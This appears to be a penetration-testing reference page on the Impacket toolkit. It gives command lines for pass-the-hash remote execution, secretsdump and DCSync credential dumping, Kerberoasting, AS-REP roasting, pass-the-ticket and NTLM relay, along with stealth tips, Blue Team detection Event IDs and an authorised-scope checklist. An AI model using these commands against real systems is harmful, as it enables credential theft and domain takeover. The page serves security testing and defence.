Impacket
Impacket is a collection of Python scripts that implement Windows network protocols (SMB, Kerberos, MSRPC, LDAP). It’s the essential toolbox for attacking Active Directory: remote execution, credential dumping, Kerberos attacks, and relay (see Kerberos, NTLM).
What it is
Section titled “What it is”Impacket (Fortra, open source) is a Python library with low-level implementations of many network protocols, shipped with ready-to-use examples (the *.py scripts). It’s the basis of many other tools (NetExec, for instance) and the standard for interacting with Windows services from Linux.
What it is for
Section titled “What it is for”- Execute commands remotely on Windows (psexec, wmiexec…).
- Dump credentials (SAM, LSA, NTDS.dit via DCSync).
- Kerberos attacks: Kerberoasting, AS-REP roasting, ticket forging.
- NTLM relay and server utilities (SMB server, MSSQL client).
Installation
Section titled “Installation”sudo apt install impacket-scripts # Kali/Parrot# or with pipx from the official repositorypipx install impacket# scripts are named: impacket-psexec, impacket-secretsdump... or <script>.pyBasic usage
Section titled “Basic usage”Remote execution (all accept -hashes LM:NT for pass-the-hash):
psexec.py domain/user:pass@10.10.10.10 # SYSTEM shell (noisy, creates a service)wmiexec.py domain/user:pass@10.10.10.10 # via WMI (stealthier, semi-interactive)smbexec.py domain/user:pass@10.10.10.10 # via service and SMBatexec.py domain/user:pass@10.10.10.10 'whoami' # via scheduled tasksPass-the-hash (no password, just the NT hash):
psexec.py -hashes :<NT> Administrator@10.10.10.10Advanced usage
Section titled “Advanced usage”Credential dumping (see Credential Dumping):
secretsdump.py domain/user:pass@10.10.10.10 # host SAM + LSAsecretsdump.py -just-dc domain/admin:pass@dc01 # NTDS.dit (DCSync) on the DCsecretsdump.py -sam SAM -system SYSTEM LOCAL # from files dumped locallyKerberos attacks (see Kerberos):
# Kerberoasting: extract TGS of SPN accounts to crack offlineGetUserSPNs.py -request -dc-ip 10.10.10.5 domain/user:pass# AS-REP roasting: users not requiring Kerberos pre-authenticationGetNPUsers.py -dc-ip 10.10.10.5 domain/ -usersfile users.txt -no-pass# request a TGT and use it (pass-the-ticket)getTGT.py domain/user:pass -dc-ip 10.10.10.5export KRB5CCNAME=user.ccachepsexec.py -k -no-pass domain/user@hostNTLM relay and other utilities (see NTLM):
# relay captured NTLM authentications (e.g. with Responder)ntlmrelayx.py -t smb://10.10.10.20 -smb2supportsmbserver.py share /tmp/shared -smb2support # SMB server for exfil/transfermssqlclient.py domain/user:pass@10.10.10.30 # MSSQL client (see /en/windows-ad/ad-mssql/)lookupsid.py domain/user:pass@dc01 # enumerate SIDs/users (RID brute)Tricks / workflow
Section titled “Tricks / workflow”flowchart TD
A[Credential / hash / ticket] --> B{Goal}
B -->|Run commands| C[wmiexec / psexec -hashes]
B -->|Dump secrets| D[secretsdump -just-dc]
B -->|Kerberos| E[GetUserSPNs / GetNPUsers]
E --> F[Hashes -> cracking]
F --> G[New credentials]
G --> B
D --> H[krbtgt -> Golden Ticket]
wmiexec.pyis usually stealthier thanpsexec.py(it doesn’t create a persistent service).- Reuse tickets with
-k -no-passand theKRB5CCNAMEvariable for pass-the-ticket. - Combine with NetExec: NetExec to sweep, Impacket for the targeted action.
Detection (Blue Team)
Section titled “Detection (Blue Team)”psexec.py/smbexec.pycreate services and leave Event ID 7045 (service install) and 4697.- Execution leaves network logons (Event ID 4624 type 3) and anomalous child processes of
services.exe/wmiprvse.exe(Sysmon, see Sysmon). secretsdump.py -just-dctriggers a DCSync-style replication: Event ID 4662 with the replication GUID from a non-DC host.
Checklist
Section titled “Checklist”- Credentials/hashes/tickets within authorized scope.
- Execution method chosen for stealth (wmiexec > psexec).
- NTDS dump only against the DC with explicit permission.
- Kerberos tickets managed with
KRB5CCNAME. - Obtained secrets treated as sensitive data.